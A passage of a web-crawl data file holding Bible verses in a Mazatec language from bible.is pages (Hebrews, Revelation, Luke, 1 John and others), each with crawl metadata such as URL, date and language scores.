kisaseèn-la̱ nga nea̱-la̱ kitsò-la̱ tsoti-la̱ faraón. 25 Tà sa̱á jè jaájiìn nga kjo̱'in kisìkjeiín ko̱ na̱xa̱ndá-la̱ Nainá, mì k'oa̱á-ne nga kjo̱tsjaà tsjá-la̱ yijo-la̱ xi kjoa̱ ts'e̱ jé. 26 K'oa̱ás'ín kiskoòsòn-la̱ nga ìsa̱ 'ñó chjí-la̱ kjo̱'in xi si̱ìkjeiín xi i̱t'aà ts'e̱ Cristo mì k'oa̱á-ne nga kjo̱tsjaà tsjá-la̱ yijo-la̱ xi kjoa̱ nchi̱ná ts'e̱ na̱xa̱ndá Egipto. Kiskòñakjoa̱á-la̱ kjo̱ndaà xi i̱skan tsjá-la̱ Nainá. 27 Koi-né nga ti̱koa̱ kòkjeiín-la̱ nga itjokàjiìn na̱xa̱ndá Egipto; mì kiì kitsakjòn-la̱ kjoa̱jti-la̱ jè xi̱ta̱xá ítjòn; kixi̱í tsibìjna koni tsà xko̱n tíbeè-ne Nainá xi ni saá jngoò xi̱ta̱ beèxkon. 28 Moisés, nga kòkjeiín-la̱, tsjachrje s'eí Paxko̱. K'oa̱á kitsò-la̱ ngats'iì xi̱ta̱ Israel nga jní sìkaájno xòhotjoa̱ ni'ya-la̱ mé-ne jè àkja̱le̱-la̱ Nainá mì kiì si̱ìk'en jñà xi ki'ndítjòn-la̱ ts'e̱ xi̱ta̱ Israel. 29 Jñà xi̱ta̱ Israel, nga kòkjeiín-la̱, tsatjojiìn jè xi 'mì Ndáchikon Inì koni tsà nangui kixì. Jñà xi̱ta̱ Egipto, k'e̱ nga kijtse, mejèn-la̱ nga k'oa̱ ti s'ín kis'iìn, ta̱nga ta ya̱á k'en yije ya̱ i̱jiìn ndáchikon. 30 Nga kòkjeiín-la̱ xi̱ta̱ Israel, kisìkixòjen chrjó xi tjíndiì-la̱ na̱xa̱ndá Jericó, k'e̱ nga jye kjò itoò na̱chrjein bítjindiì-la̱ jé na̱xa̱ndá. 31 Koi nga kòkjeiín-la̱ Rahab xi chjo̱ón chijngui nga mì kiì ya̱ k'enko̱ jñà xi̱ta̱ xi mì kiì mokjeiín-la̱, koií kjoa̱-la̱ nga ndaà kijtsetjò jñà xi̱ta̱ Israel xi ítjòn ijchò kotsejèn 'ma-la̱ nangui. 32 ¿Mé kjoa̱ xi keèno̱jmí ìsa̱? Mì-la kiì chíya-na na̱chrjein nga kichjá i̱t'aà ts'e̱ Gedeón, ts'e̱ Barac, ts'e̱ Sansón, ts'e̱ Jefté, ts'e̱ David, ts'e̱ Samuel ko̱ ngats'iì xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá. 33 Koií nga kòkjeiín-la̱ xi̱ta̱ koi nga kis'e i'nga xi kisìkijne-la̱ kjoa̱ ts'e̱ kjo̱jchán, xi kixi̱ tsibìndaàjiìn kjoa̱, xi Nainá kitsjaà-la̱ koni s'ín jye kitsò-la̱ xi tso'ba kiìchja̱-ne, xi tsibíchjoajto tso'ba xa; 34 Kis'e i'nga xi kisìkits'o nga'ñó-la̱ ni'ín jnga̱, xi itjomachinga-la̱ nga ki̱cha̱ ndojò k'en-ne, xi kis'e ìjngoò k'a-la̱ nga'ñó na̱s'ín xk'én kjoàn, xi kis'e-la̱ nga'ñó kjoa̱ ts'e̱ kjo̱jchán, xi kisìkijne-la̱ xi̱ta̱ kjo̱jchán xi kondra̱ ts'e̱. 35 Kis'eè i'nga íchjín xi kitjoé ìjngoò k'a-la̱ xi̱ta̱ xíkjín xi jye k'en nga jahaya-la̱. Ta̱nga tjín i'nga xi ya̱ k'enjiìn kjo̱'in; mì kiì kjomejèn-la̱ nga tsibítsa̱jnandei̱í, nga k'oa̱ás'ín kjomejèn-la̱ nga isa̱ ndaà kítsa̱jna k'e̱ nga kjoa̱áya-la̱. 36 Xi i'nga, kisìkjeiín kjo̱'in nga kinìsoba-la̱, kiskaànko̱ xi̱ta̱, skanda na'ñó ki̱cha̱ cadena kisit'aà'ñó i̱ya nda̱yá. 37 Tjín i'nga xi ndo̱jo̱ kisinè nga kinìk'en; tjín xi ki̱cha̱ serrote kjojòya-ne; tjín xi ki̱cha̱ ndojò k'en-ne. Xki̱ xi ján chinchimasòn, tà chrjoa̱-la̱ órré ko̱ chrjoa̱-la̱ tíntsó tsákákjá nga 'ñó i̱ma̱ chinchima, tsee kjo̱'in ki'se-la̱ ko̱ 'ñó ki'yaton. 38 Jñà xi̱ta̱ koi, nga 'ñó ndaà kòkjeiín-la̱ i̱t'aà ts'e̱ Nainá, skanda mì kiì ok'ín-la̱ nga i̱ tsibìtsa̱jna i̱sò'nde. Xki̱ xi ján chinchimasòn ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì chon, kóho̱kji i̱jiìn ijñá ko̱ i̱ngui nguijo ko̱ nga̱jo̱ xi tixá i̱jiìn nangui. 39 Ngats'iì xi̱ta̱ koi, koni s'ín nga ndaà kòkjeiín-la̱ ndaá ki'ya-la̱, ta̱nga ni̱ jngoò kitjoé-la̱ xi Nainá tjín-ne nga tsjá-la̱ koni s'ín jye kitsjaà-la̱ 'én-la̱. 40 Nainá tsibíndaà jngoò-ná kjoa̱ xi isa̱ 'ñó ndaà tjín, mé-ne jñà xi̱ta̱ koi, ngásòn ko̱ngásòn-kjoaá nga nì mé chi̱jat'aà-ná nga kixi̱ ki̱tsa̱jnaá.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/11","date":"2013-05-23T13:23:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703317384\/warc\/CC-MAIN-20130516112157-00084-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000009536743164}","num_words":1189,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebreos 4:1\n1 Nainá k'oa̱á s'ín kitsja-ná 'én nga ki̱tjás'e̱én ya̱ i̱'nde-la̱ ñánda ma nikjáyaá. K'e̱ nga tákó tíjna isa̱ 'én xi kitsja Nainá, ngats'iaá machjeén-né nga nda si̱kinda̱á yijo-ná mì k'oa̱á-ne tsà mì kì ki̱tjás'eén.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/4\/1","date":"2013-05-19T11:18:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697420704\/warc\/CC-MAIN-20130516094340-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9964162707,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9964162707328796}","num_words":53,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 1:5\n5 ko̱ jè Jesucristo k'oa̱ ti s'ín kàtatsjá-nò kjo̱ndaà ko̱ kjoa̱'nchán. Jè Cristo, jè xi ngui 'én kixi̱ tsjá, xi ki'ndí tjòn xi jahayà-la̱ i̱t'aà ts'e̱ kjoa̱ biyaà ko̱ jè xi o̱tíxoma-la̱ jñà xi̱ta̱ sko̱-la̱ xi tjín i̱ i̱t'aà na̱ngui. Cristo matsakeè-ná nga kisìtsjeè jé-ná i̱t'aà ts'e̱ jní-la̱ xi tsibíxteèn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/5","date":"2013-05-19T11:50:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697442043\/warc\/CC-MAIN-20130516094402-00081-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9997515082,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9997515082359314}","num_words":69,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.261,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 16:3\n3 Jè àkja̱le̱ xi ma-ne jò tsibíxteèn-jiìn ndáchikon xi tjíya chi̱tsín-la̱. Ko̱ jè ndáchikon, nguií jní komà, koni tsà ya̱ k'en-jiìn xi̱ta̱. Ngats'iì xi títsa̱jnakon ya̱ i̱jiìn ndáchikon jngoò kaá k'en.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16\/3","date":"2013-05-24T08:30:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704392896\/warc\/CC-MAIN-20130516113952-00071-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9928219914,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.992821991443634}","num_words":50,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gálatas 5:6\n6 Nga i̱t'aà ts'e̱ Cristo Jesús, mì ti̱ mé chjí-la̱ yá-ne xi tjít'aà chi̱ba̱-la̱ ko̱ yá-ne xi tsjìn-la̱ chi̱ba̱ kjoa̱ ts'e̱ circuncisión. Jè xi chjí-la̱ nga 'ya-la̱ koni s'ín mokjeiín-ná i̱t'aà ts'e̱ Cristo, nga tjín-ná kjo̱tsjachaà.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5\/6","date":"2013-06-20T01:39:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710006573\/warc\/CC-MAIN-20130516131326-00061-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9963468313,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9963468313217163}","num_words":55,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ji̱ ndí 'ntsè xi 'mì-lè Gayo xi 'ñó ndaà chibá ko̱ xi nguiì ko̱ ini̱ma̱-na̱ nga matsjake̱-le, tikjiì-le Xo̱jo̱n jè 'a̱n xi xi̱ta̱ jchínga 'mì-na ya̱ i̱ngo̱. 2 Ji̱ ndí 'ntsè, 'a̱n, k'oa̱á s'ín tísíjé-la̱ Nainá, nga ndaà katitjo yije ni̱ta mé kjoa̱ xi s'i̱in ji̱, koni s'ín ndaà tímachikont'in ini̱ma̱-lè xi i̱t'aà ts'e̱ Nainá, k'oa̱á ti̱ s'ín ndaà katijna jè yijo-lè nga ni̱ mé ch'in katase-la̱. 3 Taxki̱ 'ñó kjotsja-na k'e̱ nga j'iì i'nga jñà 'ntsé xi tsibèno̱jmí-na nga k'oa̱á s'ín tiníjchí yijo-le koni s'ín tjín kjoa̱ kixi̱ i̱t'aà ts'e̱ Cristo. 4 Nì ti̱ mé kjoa̱ tjín-ne xi k'oa̱s'ín 'ñó matsja-la̱ ini̱ma̱-na̱, ta jè-ne k'e̱ nga 'nchre nga jñà xi 'ndí i̱xti-na̱ xan-la̱ nga k'oa̱á s'ín nchisíjchá yijo-la̱ koni s'ín tjín xi kjoa̱kixi̱. 5 Ngaji̱ 'ndí 'ntsè xi 'ñó matsjake̱-lè, 'ñó kixi̱ tiníjchí yijo-lè, k'e̱ nga k'oa̱s'ín ndaà nìs'in-la̱ ya̱ ni'ya-lè jñà xi̱ta̱ xinguia̱á xi bijchókon-le xi ti̱koa̱ 'én-la̱ Nainá mokjeiín-la̱; ko̱ isa̱á ta ndaà tjín isa k'e̱ nga ti̱koa̱ ndaà nìs'in-la̱ jñà xi̱ta̱ xinguia̱á xi xìn i̱'nde 'fi-ne. 6 Jñà xi̱ta̱ xinguia̱á k'oa̱á s'ín tsibéno̱jmí kixi̱ ya̱ nguixko̱n xi̱ta̱ na̱xa̱ndá-la̱ Cristo, nga ngaji̱ 'ñó matsjachi ngats'iì xi̱ta̱ xinguia̱á koi. K'oa̱s'ín ndaà ti̱si̱ko̱ isi k'e̱ nga kijchòkon-le; t'i̱-la̱ mé xi machjeén-la̱ k'e̱ nga tjímaya ya̱ ndi̱yá. K'oa̱s'ín ti̱koi̱i koni s'ín sasén-la̱ Nainá. 7 Nga̱ i̱t'aà ts'e̱ Cristo-né nga k'oa̱s'ín jye tsibínè-la̱ yijo-la̱ jñà xi̱ta̱ xinguia̱á koi, nga k'oa̱s'ín nchisíxá-la̱ Jesucristo, ko̱ majìn-la̱ nga jñà kiskoé tsojmì xi tsjá-la̱ xi̱ta̱ xi mì tsà i̱t'aà ts'e̱ Cristo mokjeiín-la̱. 8 Koií machjeén-ne nga jñá oko̱-ná nga ki̱si̱koa̱á jñà xi̱ta̱ xinguia̱á koi. Tsa k'oa̱s'ín ki̱si̱koa̱á, tsò-ne kjoa̱ nga ngásòn titsa̱nika'bísoán jè 'én kixi̱ xi ndaà tsò. 9 'A̱n jyeé kiskia jngoò Xo̱jo̱n nga kisìkasén-la̱ jñà xi̱ta̱ na̱xa̱ndá-la̱ Cristo, ta̱nga jè Diótrefes mì kiì sasén-la̱ koni s'ín ki'mì-la̱ji̱n, nga̱ jè, koií xi mejèn-la̱ nga ta jè ko̱tixoma. 10 K'e̱ nga ki̱jchoa, k'e̱é ko̱xán kixi̱-la̱ i̱t'aà ts'e̱ ngats'iì kjoa̱ ch'o xi tís'ín, nga 'ñó ch'o tsò 'én ndiso xi tíbínè-naje̱n. Ko̱ mì tsà ta ya̱ majngoò ikon, ti̱koa̱á mì kiì ma-la̱ nga sís'in-la̱ jñà xi̱ta̱ xinguia̱á xi bijchòkon ya̱ ni'ya-la̱. Ko̱ jñà 'ntsé xi mejèn-la̱ nga si̱ìs'ìn-la̱ xi̱ta̱ xinguia̱á, jé bíchjoa ikon-la̱, ko̱ ti̱koa̱á ochrjekàjiìn-né ya̱ na̱xa̱ndá-la̱ Cristo jñà 'ntsé xi k'oa̱s'ín síkitasòn kjo̱nda koi. 11 Ji̱ 'ndí 'ntsè xi 'ñó matsjake̱-lè, kì jñà chjìnguiì-la̱ jñà kjoa̱ xi ch'o tjín; ji̱, jñà chjíngui-la̱ jñà kjoa̱ xi ndaà tjín. Nga̱ jè xi̱ta̱ xi ndaà s'ín, xi̱ta̱ ts'e̱ Nainá-né; ta̱nga jè xi̱ta̱ xi ch'o s'ín, kj'eè kì beè yá-ne xi Nainá. 12 I̱t'aà ts'e̱ Demetrio, ngats'iì xi̱ta̱ k'oa̱á tsò nga 'ñó ndaà tjín koni s'ín tís'ín, skanda jè xi kjoa̱ kixi̱, k'oa̱á s'ín okó nga jè Demetrio, ndaá tjín koni s'ín tís'ín; k'oa̱á ti̱ s'ín bixón-je̱n nga ndaá tjín koni s'ín tís'ín, ko̱ ndaá 'yi nga 'én kixi̱-né koni s'ín bixón-je̱n. 13 Tjín isa-na mé 'én xi mejèn-na nga ko̱xán-le, ta̱nga majìn-na nga tà Xo̱jo̱n siìkasén-le; 14 jè xi mejèn-na nga kjíkon xátí-le; k'e̱é ìsa̱ ndaà jchi̱bano̱jmiá k'e̱ nga kijchòkon-le. 15 K'oa̱s'ín 'nchán kàtijna kjit'aà ini̱ma̱-lè. Jñà xi̱ta̱ xi ndaà óko̱-ná xi i̱ i̱'nde-la̱ tísíhixat'aà-le. Ko̱t'ín-la̱ jñà xi̱ta̱ xi ndaà óko̱-ná xi ya̱ títsa̱jnako̱-le, Nainá kàtasíchikont'in nga jngoò ìjngoò.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/3John\/1","date":"2013-06-20T03:34:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710196013\/warc\/CC-MAIN-20130516131636-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000001072883606}","num_words":508,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.335,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 13:1\n1 Kijtseè jngoà cho̱ je xi ch'o kji xi itjo-mijiìn jiìn-ne ndáchikon xi itoò ma sko̱; te ma nchra̱já-la̱; jngoò corona i̱tsé tjí'a nga ìjngoò ìjngoò nchra̱já-la̱; jñà sko̱ tjít'aà 'ín xi Nainá chja̱jno-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/13\/1","date":"2013-05-24T08:50:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704392896\/warc\/CC-MAIN-20130516113952-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9959560037,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9959560036659241}","num_words":53,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:6\n6 Jesús kiìko̱ jñà xi̱ta̱ jchínga koi, ta̱nga k'e̱ nga jye kjo̱meè bijchó chrañàt'aà-la̱ ni'ya, jè xi̱ta̱ ítjòn-la̱ soldado kisìkasén i'nga amigo-la̱ nga kitsò-la̱ Jesús: —Na̱'èn, kì yijo-lè nìjti-la̱. An, mì kiì ok'ìn-na nga nga̱ji̱ k'oín sobi ni'ya-na̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/6","date":"2013-05-22T00:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700984410\/warc\/CC-MAIN-20130516104304-00016-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994370937,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9994370937347412}","num_words":58,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Juan 3:12\n12 Mì kiì k'oa̱s'ín s'e̱én koni kis'iìn jè xi̱ta̱ xi ki'mì Caín nga jè xi̱ta̱ nei̱í kiìt'aà-la̱ nga kisìk'en 'ntse̱. ¿Mé-ne kisìk'en-ne 'ntse̱? Tà koií kjoa̱-la̱ nga jè 'ntse̱, xi̱ta̱ kixi̱-né nga nguixko̱n Nainá ko̱ jè Caín ch'oó tjín kjoa̱ xi s'ín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/12","date":"2013-06-20T03:58:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710274484\/warc\/CC-MAIN-20130516131754-00002-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9997492433,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9997492432594299}","num_words":61,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.266,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:21\n21 Tjín i'nga xi̱ta̱ xi k'oa̱ tjín kjo̱hítsjeèn fìtji̱ngui-la̱. K'oa̱á ma-ne nga chinchat'aàxìn-la̱ kjoa̱ xi mokjeiín-ná i̱t'aà ts'e̱ Cristo. Jè kàtìjna-ko̱-lè kjo̱ndaà-la̱ Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/21","date":"2013-05-22T00:51:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700984410\/warc\/CC-MAIN-20130516104304-00014-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9974486828,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9974486827850342}","num_words":42,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.214,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corintios 8:9\n9 Kixi̱í kjoa̱, tjí'nde-ná ni̱ta̱mé xi chji̱neé. Ta̱nga jñá chósòn-lá yijo-ná nga mì k'oa̱á tjín xi chji̱neé mé-ne jñà xi̱ta̱ 'ntsé xi indaàjiìn tjín kjo̱hítsjeèn-la̱ mì jé sa̱kò-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/9","date":"2013-06-19T19:57:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709101476\/warc\/CC-MAIN-20130516125821-00026-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9923647642,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.992364764213562}","num_words":47,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:29\n29 K'e̱ nga kiì'nchré jñà xi̱ta̱ na̱xa̱ndá ko̱ jñà xi̱ta̱-la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì, kòjngoò-ikon nga ndaà tjín jè ndi̱yá kixi̱-la̱ Nainá, nga jye komà bautizar i̱t'aà ts'e̱ Juan.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/29","date":"2013-05-20T15:25:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699056351\/warc\/CC-MAIN-20130516101056-00029-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994368553,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9994368553161621}","num_words":50,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filipenses 3:9\n9 ko̱ mé-ne nga ya̱ kóti̱jnakjoò-koa̱a. Nga kixi̱ óti̱jna nga nguixko̱n Nainá, mì tsà koi kjoa̱-la̱ nga 'a̱n nda síkitasoan kjo̱tíxoma-la̱ xi̱ta̱ Judío, koi-né nga mokjeiín-na i̱t'aà ts'e̱ Cristo. Jè Nainá xi kixi̱ síkíjna-na koi kjoa̱-la̱ nga mokjeiín-na.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/9","date":"2013-05-19T20:23:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698063918\/warc\/CC-MAIN-20130516095423-00051-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.998293519,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9982935190200806}","num_words":57,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:19\n19 Tsà k'oa̱ s'ín si̱ìkitasòn na̱chrjein i̱'ndei̱, s'e̱é-la̱ kjoa̱nchi̱ná xi mì kiì kjoe̱hit'aà k'e̱ nga jye títsa̱jna nguixko̱n Nainá. Ti̱koa̱á tjoé-la̱ kjo̱ndaà xi nguiì ts'e̱ kjoa̱bijnachon.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/19","date":"2013-05-22T22:41:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702452567\/warc\/CC-MAIN-20130516110732-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9977253675,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9977253675460815}","num_words":45,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:3\n3 K'e̱ nga kiì'nchré xi̱ta̱ jè i̱t'aà ts'e̱ Jesús, kisìkasén xi̱ta̱ jchínga xi ts'e̱ xi̱ta̱ judío nga kiì kítsi'ba-la̱ Jesús mé-ne nga kàtjanchrobá, kàtasíxkiì-la̱ jè chi̱'nda-la̱ xi xk'én.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/3","date":"2013-05-26T03:16:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706578727\/warc\/CC-MAIN-20130516121618-00013-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995148182,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9995148181915283}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:16\n16 Koni ni'ín xi síhisen-la̱ xi̱ta̱, k'oa̱á s'ín ndaà ti̱jchá yijo-nò nguixko̱n xi̱ta̱ xi kj'eií mé-ne jñà xi̱ta̱ koi, jeya siìkíjna Na̱'èn-nò xi Nainá xi tíjna ngajmiì k'e̱ nga skoe̱-nò nga ndaà titsanè.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/16","date":"2013-05-19T17:55:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697917013\/warc\/CC-MAIN-20130516095157-00068-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.997939229,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9979392290115356}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.226,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Juan 3:6\n6 Ngats'iì xi̱ta̱ xi Cristo títsa̱jnako̱, mì tsà jé ótsji; ta̱nga jñà xi̱ta̱ xi ótsji jé, kj'eè kiì beèxkon ko̱ ti̱koa̱ mì kiì tíjiìn-la̱ yá-né xi 'mì Jesucristo.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp 